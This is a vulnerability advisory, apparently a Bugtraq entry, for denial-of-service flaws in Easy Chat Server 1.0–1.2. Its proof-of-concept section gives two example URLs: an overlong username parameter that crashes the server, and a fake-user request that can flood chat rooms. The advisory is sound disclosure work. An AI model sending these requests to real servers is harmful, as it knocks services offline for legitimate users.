Easy Chat Server Multiple Denial Of Service Vulnerabilities
BID:10649
Info
Easy Chat Server Multiple Denial Of Service Vulnerabilities
| Bugtraq ID: | 10649 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 02 2004 12:00AM |
| Updated: | Jul 02 2004 12:00AM |
| Credit: | "Donato Ferrante" <[email protected]> disclosed these vulnerabilities. |
| Vulnerable: |
EFS Software Easy Chat Server 1.2 EFS Software Easy Chat Server 1.1 EFS Software Easy Chat Server 1.0 |
| Not Vulnerable: | |
Discussion
Easy Chat Server Multiple Denial Of Service Vulnerabilities
It is reported that Easy Chat Server is susceptible to multiple denial of service vulnerabilities.
The chat software is implemented as a web server serving a chat web application to clients. The software is reported to contain two denial of service vulnerabilities. The application improperly sanitizes user supplied URI data, and cannot handle large numbers of anonymous users created in chat rooms.
An attacker with remote access to an affected instance of this application could use these vulnerabilities to crash the service, denying service to legitimate users.
It is reported that Easy Chat Server is susceptible to multiple denial of service vulnerabilities.
The chat software is implemented as a web server serving a chat web application to clients. The software is reported to contain two denial of service vulnerabilities. The application improperly sanitizes user supplied URI data, and cannot handle large numbers of anonymous users created in chat rooms.
An attacker with remote access to an affected instance of this application could use these vulnerabilities to crash the service, denying service to legitimate users.
Exploit / POC
Easy Chat Server Multiple Denial Of Service Vulnerabilities
No exploit is required.
An example of a long username URI:
http://www.example.com/chat.ghp?username=aaaa[ 295 of a ]aaaa&password=&room=1&sex=0
An example of creating a fake user:
http://www.example.com/chat.ghp?username=FakeUser&password=&room=1&sex=0
No exploit is required.
An example of a long username URI:
http://www.example.com/chat.ghp?username=aaaa[ 295 of a ]aaaa&password=&room=1&sex=0
An example of creating a fake user:
http://www.example.com/chat.ghp?username=FakeUser&password=&room=1&sex=0
Solution / Fix
Easy Chat Server Multiple Denial Of Service Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Easy Chat Server Multiple Denial Of Service Vulnerabilities
References:
References:
- Easy Chat Software Home Page (EFS Software)
- Multiple Vulnerabilities in Easy Chat Server 1.2 ("Donato Ferrante"